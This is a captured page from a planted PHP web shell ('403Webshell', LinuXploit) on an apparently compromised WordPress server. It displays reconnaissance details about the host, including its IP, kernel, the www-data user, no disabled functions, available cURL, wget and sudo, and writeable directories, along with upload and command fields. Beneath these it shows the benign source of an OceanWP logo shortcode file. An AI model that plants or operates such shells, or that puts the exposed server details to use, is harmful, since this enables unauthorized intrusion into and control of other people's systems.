403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.21
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kim_LIVE/wp-content/plugins/ocean-extra/includes/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kim_LIVE/wp-content/plugins/ocean-extra/includes/shortcodes/logo.php
<?php
/**
 * Logo shortcode for the Custom Header style
 */

if ( ! class_exists( 'OceanWP_Logo_Shortcode' ) ) {

	class OceanWP_Logo_Shortcode {

		/**
		 * Start things up
		 *
		 * @since 1.1.1
		 */
		public function __construct() {
			add_shortcode( 'ocean_logo', array( $this, 'logo_shortcode' ) );
		}

		/**
		 * Registers the function as a shortcode
		 *
		 * @since 1.1.1
		 */
		public function logo_shortcode( $atts, $content = null ) {
			$settings = shortcode_atts(
				array(
					'position' => 'left',
				),
				$atts
			);

			$position = $settings['position'];

			// Add classes
			$classes   = array( 'custom-header-logo', 'clr' );
			$classes[] = $position;
			$classes   = implode( ' ', $classes ); ?>

			<div class="<?php echo esc_attr( $classes ); ?>">

				<?php
				// Logo
				get_template_part( 'partials/header/logo' );
				?>

			</div>

			<?php
		}

	}

}
new OceanWP_Logo_Shortcode();

Youez - 2016 - github.com/yon3zu
LinuXploit